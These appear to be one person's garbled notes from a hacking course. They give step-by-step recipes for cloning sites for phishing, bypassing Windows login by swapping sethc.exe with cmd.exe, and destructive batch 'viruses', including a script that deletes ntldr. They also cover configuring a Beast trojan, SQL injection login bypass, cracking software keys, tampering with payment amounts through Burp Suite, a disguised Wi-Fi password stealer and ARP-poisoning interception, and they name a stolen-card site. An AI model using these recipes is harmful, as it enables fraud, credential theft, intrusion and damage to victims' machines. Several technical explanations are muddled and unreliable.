Types of hackers

1) Black hat hackers – illegal

2) white hat hackers – legal

3) grey hat hackers –

Hacktivist – ppl who hack in the name of religion ,etc

Script kiddies – ppl who hack using someones ready made scripts

Admin – The one who creates scripts

Coders – the ones who check for new market attractions – on top of the list

## Timenesia.in ------- Send E-mails to anyone with any E-mail id in this world.

## [www.ip2location.com](http://www.ip2location.com) --------

## 5 steps to get a successful output

## Reconnaissance --- Taking information in passive manner

Whois.net/whois lookup ----- website to get information of a site without making your log records on their website.

Builtwith.com ------- similar website to the above one.Top of Form

## Scanning ------- scanning their likes and dislikes to make a suitable php script phishing site to lure them into it.

## Gaining Access

## Maintaining Access

## Clearing Tracks

## Client Based

## Encryption

## Shubham 🡪+1 🡪tivcibn

## Decryption

## Tivcibn 🡪-1 🡪 shubham

## Hashing ----- one way encryption (cannot be decrypted)

## Tivcibn 🡪 tiv (encrypted) 🡪 decryption

## Create Phishing Website

## Open website -> view source page -> copy to notepad 🡪 search action= 🡪 select text in the next “\_” till method part (excluded) 🡪 edit to

## Install Xampp 🡪 htdocs(folder will be created) 🡪 paste page (name it index or the name will be in haphazard manner)

## Port forwarding ----

## External port start – 1026, external port end -- 60000

## Internal port start – 80(xampp code) internal port end

## How to change code numner in xampp

## Go to config

## Click apache

## Ctrl f

## Search 80

## Write 80 so code becomes 8080

## Save and close

## Second Link

## Open the same

## Search 443

## Change it to 4433 or any number.

## How to secure yourself from phishing

## Give wrong passwpord for the first time

## Check for green lock before http url (that shows its certified)

## Right click on link, open via google. (if its phishing site then it wont open)

## Server Based

## This cant be done because hashing is used rather than encryption decryption.

## Operating System

## Software – keylogger

## Keylogger also delivers all your data to your email.

## Ctrl + shift + alt h ----- hides from quickbar.

## How windows authenticates your login password?

## In C:\Windows\System32\config\SAM 🡪 Here the passwords are stored.

## Software – Konboot

## Start through konboot

## Go to boot menu on startup (Using F8 or F11 something)

## Boot options

## Change priority to pendrive.

## How to start command prompt on password screen

## Make a bootable kali linux through pendrive

## Make bootable using yumi or lily or win32diskimager

## C:Windows\System32

## In this there are two files cmd.exe and sethc.exe

## Now interchange these two names.

## Note : You cant do these changes from windows – it gives an error saying administration permission needed.

## If this error occurs,

## Go to cmd properties 🡪 security 🡪 advanced 🡪 trusted installer change 🡪 advanced 🡪 find now 🡪 select last option user 🡪 apply 🡪 ok 🡪apply 🡪 ok 🡪 change permission edit – click edit 🡪 allow full control to all the groups or usernames 🡪 apply 🡪 ok 🡪 ok

## Do the same for sethc.exe

## Now interchange these two names.

## Three types of passwords

## Admin password

## Syskey password

## Bios password

## How to put syskey password

## Run 🡪 syskey 🡪 enter 🡪 update

## How to check startup programs

## Run 🡪 msconfig 🡪 startup

## How to make virus that creates new undeletable folders. (Tutorialspoint batch programming course)

## Open notepad

## Type this 🡪

## @echo off

## :hell

## md %random%

## goto hell

## Save this file as text file 🡪 name this file as 🡪 anything.bat

## This is virus. This creates multiple folders on the desktop. These folders can’t be deleted. No matter how many times you delete, they will come back.

## How this virus works – By echo off the address of the directory in the cmd is hidden. :hell is the location. Md means make directory. Random means it creates folders. Goto means it goes to given index like in C Programming.

## How to make a virus that brings I love you dialog that never goes.

## Open notepad

## Type this 🡪

## @echo off

## :hell

## msg \* I love you

## goto hell

## Save as batch file like above.

## How to change icon and extension of batch file.

## By software – bat to exe converter.

## How to make a virus that corrupts every exe file in the PC

## Open notepad

## Type this 🡪

## @echo off

## assoc.exe = hacked

## Save as batch file like above.

## Fix of above virus exe corrupted.

## Open run

## Type command.com

## A command prompt will open 🡪 type assoc.exe = exefile 🡪 enter

## How to make virus that shuts down after the pc starts everytime.

## Open notepad

## Type this 🡪

## @echo off

## shutdown.exe -h -r -s 00

## msg \* you are hacked

## Here +h is for hidden and -h is for unhide

## Here +r is read only and -r is for removing read only

## -s is for unhide system file

## 00 is for time it waits before shut down.

## Fix for this

## Boot using kali linux

## Search shutdown.exe file and change every – to + and remove 00 and remove msg line.

## Booting info of windows 🡪 ntldr file

## Open notepad

## Type this 🡪

## @echo off

## c:

## cd/

## attrib ntldr -h -r -s

## delete ntldr /f

## Save as batch file.

## How to make virus that opens 100 notepad files

## Open notepad

## Type this 🡪

## @ECHO off

## :top

## START %SystemRoot%\system32\notepad.exe

## GOTO top

## Save as batch file

## TROJAN

## Beast

## Donaldduck

## Girlfriend

## Spy your girlfriend

## Note : All Trojans are .rat(remote access tool). They are malicious files.

## Beast

## 

## Click build server

## Click basic

## Name as any .exe file

## Click reverse connection in notification 🡪 click get ip

## Startup 🡪 select all

## AW -FW Kill 🡪 select all

## Exe icon – select desired

## How to hide data behind images – (Steganography)

## Create folder on the desktop

## Copy data you want to hide in that folder

## Copy an image you want to hide behind on the desktop.

## Open command prompt with directory as desktop

## This can be done by shift + right-click 🡪 open command window here

## Type 🡪 copy /b image\_name.jpg+winrar\_file\_name.rar

## Now open winrar 🡪 drag the image behind which the data is hidden into winrar 🡪 the hidden folder appears – extract it if you need the data.

## 

## How to get admin login in a website.

## Go to website

## Type /admiin in search after the address

## Enter any email and password

## Command 🡪 select \* from Table where name=’ ‘ and password=’ ‘

## Sent username and password as true 1

## Eg : select \* from Table where name=’1’ or ‘2’=’2’ and password=’1’ or ‘2’=’2’

## Thus is username:1’ or ‘2’=’2

## And in password:1’ or ‘2’=’2

## Key Generator

## Olly Debug

## Open olly debug

## Now open main exe file of the software you are cracking.

## Now right anywhere on the code 🡪 search for 🡪 go to top of the screen 🡪 search for “registration code” 🡪 now double click on this line 🡪 check a vertical black line on the left () 🡪 check where this loop is starting 🡪 click F2 on that start of the loop () 🡪

## Steps to crack registration key

## Start olly debug

## Open the software in this window which we want to crack

## Now five windows will appear

## In the first window there will be main source code.

## Right click on the software source code

## Go to search for option

## All referenced text

## Now open the software you want to crack

## Give any random key

## It will give an error

## Now copy the error

## Go to top of the window

## Right click and search for text

## Search for that error that it gave earlier

## Now it will search for that error and take you to its exact location of the error

## Now double click that error

## After double clicking it will redirect us to main source code window

## This will be a loop

## This loop will be indicated by black vertical line

## Check the starting point of the loop

## Now we want the software to stop at this location

## There will be index numbers to the left of the loop

## Click F2 on the starting index of the loop

## Run the program

## This program will stop at a point where we made it to stop

## There is a button with three dots with small arrow (note only small arrow not big arrow – because there is similar one with big arrow)

## Keep clicking it till it gives you a key with mixed characters and not like “AAAA”

## How to buy something for one rupee

## Name of the tools – Burp Suite

## Install burp suite and un

## Setting 🡪 default setting 🡪 next

## Intercept should be off and check proxy.

## Give this proxy to the browser

## To do this go browser settings 🡪 search proxy 🡪 proxy setting 🡪 lan setting

## Keep proxy off

## Go to the website you want to attack

## Now buy whatever you want and reach till make payment

## Before making payment 🡪 put on intercept and proxy on

## Now click make payment 🡪 burp suite will give the packet details 🡪 change these details to 1 rupee and go forward.

## Chori hue credit cards ka website

## rescator.cr

## types of wifi hacking

## Client based

## Router based

## 

## For Router based wifi hacking we need to know kali linux

## Client based Wifi hacking

## to check the password of wifi I have connected to

## Open Command prompt

## Type 🡪 netsh wlan show profiles

## This will give the wifis I have connected to

## To get password of the wifi I have connected to

## Open command prompt

## Type 🡪 netsh wlan show profiles name=name\_of \_wifi key=clear

## Virus to get password of a wifi connection used in some other pc

## Type this in notepad

## @echo off

## netsh wlan show profiles “name\_of the network” key = clear >registry32

## attribute registry32 +h

## start 1.mp3

## Here 1.mp3 is the music file you have and want to open

## Here registry32 can be any name.

## Save this file as batch file.

## NETKART

## All people connected to wifi , we can stop their internet connection

## The first network is always our network

## Select all and put them off.

## Man in the middle attack

## Tool – Cain and dabe

## Steps to do this

## Start cain and dabe

## You will see different options

## Go to sniffer icon

## Click on it

## All networks will be shown (press ok)

## Click on + sign and then add

## Go to apr icon

## Start apr

## First ip address will be your ip

## Copy all the ips except yours and paste it in right box

## Click yellow button start apr

## Shows all details of the website, ip address and passwords, etc.

## Fake SMS website 🡪 smsgang.com

## Fake Call 🡪 crazycall

## Online calling 🡪 ievaphone – 2 mins free everyday on a single ip address

## Keylogger for mobile 🡪 Mspy

## Shubham Jangid

## Email ID 🡪 [shubham.cric14@gmail.com](mailto:shubham.cric14@gmail.com)

## Contact 🡪 9660361921

## For toolkits :

## Kyrion.in/students/ create new account